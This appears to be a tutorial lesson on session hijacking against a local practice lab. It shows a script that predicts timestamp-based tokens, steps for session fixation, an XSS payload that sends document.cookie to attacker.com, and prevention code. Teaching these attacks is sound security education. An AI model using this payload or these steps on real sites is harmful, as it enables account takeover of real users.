Stealing Identity
Authentication proves who you are once. Sessions remember it afterward.
When you log into a website, you don't re-enter your password for every page. Instead, the server gives you a session token — a secret value that proves you're authenticated. Whoever has that token is you.
Steal the token, steal the identity.
How Sessions Work
The Login Flow
- You submit username and password
- Server validates credentials
- Server creates a session and stores it
- Server sends you a session token (usually in a cookie)
- Your browser sends this cookie with every request
- Server checks the cookie and knows it's you
Session Cookies
HTTP/1.1 200 OK
Set-Cookie: session=abc123xyz; HttpOnly; Secure; Path=/
Your browser now sends this with every request:
GET /dashboard HTTP/1.1
Cookie: session=abc123xyz
The server sees session=abc123xyz and loads your account.
Building the Session Lab
Download and run the session hijacking practice lab:
Session Hijacking Lab
Practice session prediction, fixation, and CSRF attacks
python3 session_lab.py
The lab includes multiple vulnerabilities:
- Weak Session Generation - Predictable tokens based on timestamps
- Session Fixation - Accepts user-provided session IDs
- Dashboard Access - Test stolen session tokens
- Money Transfer - CSRF-vulnerable form (no token protection)
- Active Sessions View - Shows all current sessions (for demonstration)
Test users: admin/admin123, john/password1, jane/qwerty
Attack 1: Session Prediction
The Vulnerability
The lab generates sessions using timestamps:
hashlib.md5(str(time.time()).encode()).hexdigest()[:16]
If you know approximately when someone logged in, you can predict their session.
The Exploit
- Login as
john/password1 - Note your session token and the timestamp shown
- If admin logged in around the same time, their session is predictable
In Python:
import hashlib
import time
# If admin logged in at approximately this timestamp
timestamp = 1707123456.78
# Try nearby timestamps
for offset in range(-10, 11):
test_time = timestamp + (offset * 0.01)
session = hashlib.md5(str(test_time).encode()).hexdigest()[:16]
print(f"{test_time}: {session}")
Try each predicted session in the dashboard.
Attack 2: Session Fixation
The Vulnerability
The second login form accepts a user-provided session ID:
<input type="text" name="session_id" placeholder="Session ID (optional)">
The Attack Flow
- Attacker creates a session ID:
attacker_session_123 - Attacker sends victim a link:
http://site.com/login?session_id=attacker_session_123 - Victim logs in, and the server uses
attacker_session_123 - Attacker knows the session ID — they set it!
- Attacker uses
attacker_session_123to access victim's account
Try It
- Login with jane/qwerty and set Session ID to
my_fixed_session - Log out or open a different browser
- Go to Dashboard and enter
my_fixed_session - You're logged in as jane!
Attack 3: Session Hijacking via XSS
Remember XSS from Lesson 4? Here's where it becomes powerful.
The Attack
If an application has XSS, you can steal cookies:
<script>
fetch('https://attacker.com/steal?c='+document.cookie);
</script>
The victim's session cookie is sent to your server.
Using the Stolen Session
- Open Developer Tools → Application → Cookies
- Add a new cookie with the stolen session value
- Refresh — you're now logged in as the victim
Or in Burp:
- Intercept any request
- Replace the Cookie header with the stolen session
- Forward the request
Session Security Headers
Look for these cookie flags:
| Flag | Purpose | Missing = Vulnerable |
|---|---|---|
| HttpOnly | Can't access via JavaScript | XSS can steal cookies |
| Secure | Only sent over HTTPS | Intercepted on HTTP |
| SameSite | Restricts cross-site sending | CSRF possible |
| Path | Limits cookie scope | Broader exposure |
Secure cookie:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/
Vulnerable cookie:
Set-Cookie: session=abc123
Prevention (For Developers)
Secure Session Generation
import secrets
session_id = secrets.token_hex(32) # 64 characters of randomness
Regenerate on Login
Always create a new session after authentication:
def login(user):
# Destroy old session
if 'session' in request.cookies:
delete_session(request.cookies['session'])
# Create new one
new_session = create_session(user)
response.set_cookie('session', new_session)
Secure Cookie Flags
response.set_cookie(
'session',
session_id,
httponly=True,
secure=True,
samesite='Strict'
)
Lab Challenges
- Predict a session token by analyzing the generation pattern
- Perform session fixation to hijack a victim's login
- Craft a CSRF attack to steal money from a logged-in user
- Combine XSS + Session Hijacking — what would the XSS payload look like?
What's Next?
You can now steal sessions and trick users into attacking themselves. But CSRF deserves its own deep dive.
In Lesson 8: Cross-Site Request Forgery (CSRF), we'll explore advanced CSRF techniques, bypasses, and how to chain it with other vulnerabilities.